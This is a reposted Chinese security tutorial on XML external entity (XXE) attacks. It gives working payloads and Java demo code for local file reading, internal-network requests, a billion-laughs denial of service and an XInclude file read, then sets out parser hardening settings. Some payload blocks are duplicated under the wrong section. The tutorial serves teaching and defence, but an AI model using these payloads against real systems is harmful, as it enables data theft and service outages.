从原理到实战，详解XXE攻击

火影  金牌会员 | 2023-10-29 17:51:02 | 显示全部楼层 | 阅读模式
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本文分享自华为云社区《【安全攻防】深入浅出实战系列专题-XXE攻击》，作者： MDKing。
1 基本概念

XML基础：XML 指可扩展标记语言（Extensible Markup Language)，是一种与HTML类似的纯文本的标记语言，设计宗旨是为了传输数据，而非显示数据。是W3C的推荐标准。
XML标签：XML被设计为具有自我描述性，XML标签是没有被预定义的，需要自行定义标签与文档结构。如下为包含了标题、发送者、接受者、内容等信息的xml文档。

DTD：指文档类型定义(Document Type Definition)，通过定义根节点、元素（ELEMENT）、属性（ATTLIST）、实体（ENTITY）等约束了xml文档的内容按照指定的格式承载数据。
如下图，通过的规则指定了该xml文件合法的根节点元素为persons，它的子节点元素为person，以及person的子层元素以及属性。
 
（另外：可通过的方式引入外部的DTD定义文件） 

实体：在DTD中通过等方式定义实体，相当于定义变量的作用，可在文档内容中通过&实体名称；的方式引用实体的值（变量的值）。
实体类型：实体分为多种类型，从使用范围的维度，分为参数实体（只能在DTD中引用）与非参数实体（可以在DTD中、文档内容中引用）。区别如下：
 
 样例引用方式使用范围与场景
非参数实体&country;在DTD中、文档内容中均可引用，一般用来取代重复的字符串
参数实体%country;仅能在DTD定义中引用，一般用来保存某段重复的DTD定义
从值的来源维度，分为内部实体、外部实体。内部实体为文档内部直接定义值，外部实体为通过http、file等协议从文件外的某处获取内容作为实体的值。区别如下：
 
 样例特征与使用场景
内部实体值是明确的字符串常量等，可以直接定义在本文档中
外部实体值来源于其它文件或者网络
XML外部实体注入：XML External Entity Injection即xml外部实体注入漏洞，简称XXE漏洞。当xml解析器支持对于外部实体的解析且待解析的xml文件可由外部控制时，就会发生此攻击。攻击者可以通过构造外部实体的内容为本地其它目录下的文件、访问内网/外网的制定url等方式实现自己的攻击目的，达到信息泄露、命令执行、拒绝服务、SSRF、内网端口扫描等攻击目的。
Xinclude：Xinclude用来导入外部xml文档，类似于php的include，将外部定义的dtd引入当前文件。该特性可以解决部分场景下引入外部实体具有的局限性，但并不是所有XML 解析器都支持 XInclude，W3C在XInclude Implementations Report中列出了支持的列表，结合XInclude特性也可以在部分场景下执行XXE攻击。常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的，如果使用，需要在代码中手动开启，如在DOM型解析器中开启如下配置factory.setNamespaceAware(true);factory.setXIncludeAware(true);如果不关闭Xinclude，仅禁用DTD解析也是存在安全风险的。
2 常见攻击场景实战演练

2.1 服务器文件读取（信息泄露）

目的与场景：通过构造特定格式的xml文档，读取服务器上指定文件的内容，达到敏感信息获取的目的。
xml文档payload：
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE root [
  3.     <!ELEMENT root (#PCDATA)>
  4.     <!ENTITY pw SYSTEM "file:///D:/securetest/xxe/passwd.txt">]>
  5. <root>&pw;</root>
复制代码
服务器端代码：
  1. public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
  2.         String xml = "<?xml version="1.0" encoding="UTF-8"?>\n" +
  3.                 "<!DOCTYPE root [ \n" +
  4.                 "\t<!ELEMENT root (#PCDATA)>\n" +
  5.                 "\t<!ENTITY pw SYSTEM "file:///D:/securetest/xxe/passwd.txt">]>\n" +
  6.                 "<root>&pw;</root>";
  7.         DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  8.         factory.setValidating(true);
  9.         DocumentBuilder builder = factory.newDocumentBuilder();
  10.         InputStream in = new ByteArrayInputStream(xml.getBytes());
  11.         org.w3c.dom.Document document = builder.parse(in);
  12.         Element rootElement = document.getDocumentElement();
  14.         // 打印根节点元素名称、内容
  15.         System.out.println("根节点名称：" + rootElement.getNodeName());
  16.         System.out.println("根节点内容：" + rootElement.getTextContent());
  17. }
复制代码
执行结果：成功读取到了passwd.txt的内容。（服务端代码样例中打印在控制台上，对应实际系统中需要有将文档内容打印到界面上等处理。）

2.2 内网信息探测

目的与场景：通过构造特定格式的xml文档，可以借助目标主机访问内网的其它主机开放的内部接口等服务。
内网其它服务器模拟准备：通过node staticServer.js命令启动服务器，监听3000端口
  1. let express = require('express')
  2. let app = express();
  3. app.use(express.static(__dirname));
  4. app.get('/getInnerData', function(req, res) {
  5.   console.log(req.headers)
  6.   res.end('AK:abc;SK:ABDCEF')
  7. })
  8. app.listen(3000)
复制代码
经验证，http请求可成功返回

xml文档payload：
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE root [
  3.     <!ELEMENT root (#PCDATA)>
  4.     <!ENTITY pw SYSTEM "file:///D:/securetest/xxe/passwd.txt">]>
  5. <root>&pw;</root>
复制代码
服务器端代码：
  1. public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
  2.         String xml = "<?xml version="1.0" encoding="UTF-8"?>\n" +
  3.                 "<!DOCTYPE root [ \n" +
  4.                 "\t<!ELEMENT root (#PCDATA)>\n" +
  5.                 "\t<!ENTITY pw SYSTEM "http://127.0.0.1:3000/getInnerData">]>\n" +
  6.                 "<root>&pw;</root>";
  7.         DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  8.         factory.setValidating(true);
  9.         DocumentBuilder builder = factory.newDocumentBuilder();
  10.         InputStream in = new ByteArrayInputStream(xml.getBytes());
  11.         org.w3c.dom.Document document = builder.parse(in);
  12.         Element rootElement = document.getDocumentElement();
  14.         // 打印根节点元素名称、内容
  15.         System.out.println("根节点名称：" + rootElement.getNodeName());
  16.         System.out.println("根节点内容：" + rootElement.getTextContent());
  17.     }
复制代码
执行结果：成功读取到内部接口getInnerData的内容。

2.3 DDos攻击

目的与场景：通过构造特殊格式的xml文档，定义多层递归引用的实体（变量）让解析的内容以及时间以指数级增长，以实现DDos攻击的效果。
xml文档payload：
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE root [
  3.     <!ELEMENT root (#PCDATA)>
  4.     <!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n">
  5.     <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  6.     <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  7.     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  8.     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  9.     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  10.     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]>
  11. <root>&lol6;</root>
复制代码
服务器端代码：
  1. public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
  2.     // 获取当前时间
  3.     LocalDateTime startTime = LocalDateTime.now();
  4.     String xml = "<?xml version="1.0" encoding="UTF-8"?>\n" +
  5.             "<!DOCTYPE root [ \n" +
  6.             "\t<!ELEMENT root (#PCDATA)>\n" +
  7.             "\t<!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n">\n" +
  8.             "\t<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">\n" +
  9.             "\t<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">\n" +
  10.             "\t<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">\n" +
  11.             "\t<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">\n" +
  12.             "\t<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">\n" +
  13.             "\t<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;">]>\n" +
  14.             "<root>&lol6;</root>";
  15.     DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  16.     factory.setValidating(true);
  17.     factory.setExpandEntityReferences(false);
  18.     System.setProperty("entityExpansionLimit", "50000000");
  19.     DocumentBuilder builder = factory.newDocumentBuilder();
  20.     InputStream in = new ByteArrayInputStream(xml.getBytes());
  21.     org.w3c.dom.Document document = builder.parse(in);
  22.     Element rootElement = document.getDocumentElement();
  24.     // 打印根节点元素名称、内容
  25.     System.out.println("根节点名称：" + rootElement.getNodeName());
  26.     System.out.println("根节点内容：" + rootElement.getTextContent());
  27.     System.out.println("根节点内容长度：" + rootElement.getTextContent().length());
  28.     System.out.println("根节点内容大小：" + rootElement.getTextContent().getBytes().length / (1024 * 1024) + "MB");
  30.     // 获取当前时间并计算时间差
  31.     LocalDateTime endTime = LocalDateTime.now();
  32.     Duration duration = Duration.between(startTime, endTime);
  33.     System.out.println("解析执行时间为：" + duration.toMillis() + "豪秒");
  34. }
复制代码
执行结果：如果程序中不对解析实体做限制的话，可以通过少量的DTD定义，实现海量大小的解析结果的效果，会大量占用服务器的处理、存储。

2.4 Xinclude攻击演示

目的与场景：该样例演示了如果打开了Xinclude开关的危险性，即使做了DTD的安全禁用，还是依然可以进行XXE攻击。
xml文档payload：
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE root [
  3.     <!ELEMENT root (#PCDATA)>
  4.     <!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n">
  5.     <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  6.     <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  7.     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  8.     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  9.     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  10.     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]>
  11. <root>&lol6;</root>
复制代码
服务端代码：
  1. public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
  2.     String xml = "<?xml version="1.0" ?>\n" +
  3.             "<root xmlns:xi="http://www.w3.org/2001/XInclude">\n" +
  4.             "<xi:include href="file:///D:/securetest/xxe/passwd.txt" parse="text"/>\n" +
  5.             "</root>";
  6.     DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  7.     factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  8.     factory.setNamespaceAware(true);
  9.     factory.setXIncludeAware(true);
  10.     DocumentBuilder builder = factory.newDocumentBuilder();
  11.     InputStream in = new ByteArrayInputStream(xml.getBytes());
  12.     org.w3c.dom.Document document = builder.parse(in);
  13.     Element rootElement = document.getDocumentElement();
  15.     // 打印根节点元素名称、内容
  16.     System.out.println("根节点名称：" + rootElement.getNodeName());
  17.     System.out.println("根节点内容：" + rootElement.getTextContent());
  18. }
复制代码
执行结果：

3 安全编码防御

3.1 禁止打开Xinclude开关

常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的，如果使用，需要在代码中手动开启，如在DOM型解析器中开启如下配置factory.setNamespaceAware(true);factory.setXIncludeAware(true);如果不关闭Xinclude，仅禁用DTD解析也是存在安全风险的。2.4中演示了即使禁用了DTD解析，打开Xinclude功能开关后存在的安全问题。所以从安全角度考虑，首先禁止打开Xinclude开关。
3.2 禁用DTD解析

如果业务中不需要进行DTD定义以及解析，最好的方式就是完全禁用DTD解析。例如Dom类型的解析器中通过factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);来禁用。效果如下：

3.3 禁用外部实体解析

方式一：如果业务中确实需要DTD定义以及解析，可以通过仅禁用外部实体解析的方式进行安全防护。例如Dom类型的解析器中通过如下方式设置禁用外部实体解析：
  1. factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  2. factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  3. factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
复制代码
效果如下：

方式二：禁用外部实体解析还有另外一种方式，重写实体解析函数，核心代码：
  1. builder.setEntityResolver(new EntityResolver() {
  2.     @Override
  3.     public InputSource resolveEntity(String publicId, String systemId) throws SAXException,IOException {
  4.         return new InputSource(new StringReader(""));
  5.     }
  6. });
复制代码
效果如下：

4 安全编码扫描工具

IoT已将包括上述安全编码逻辑在内的常用XML解析器的安全编码规范提取到IoT自定义安全规则集，上线到所有IoT服务的生产发布流水线中，自动化的保障各服务的现网代码安全。如：

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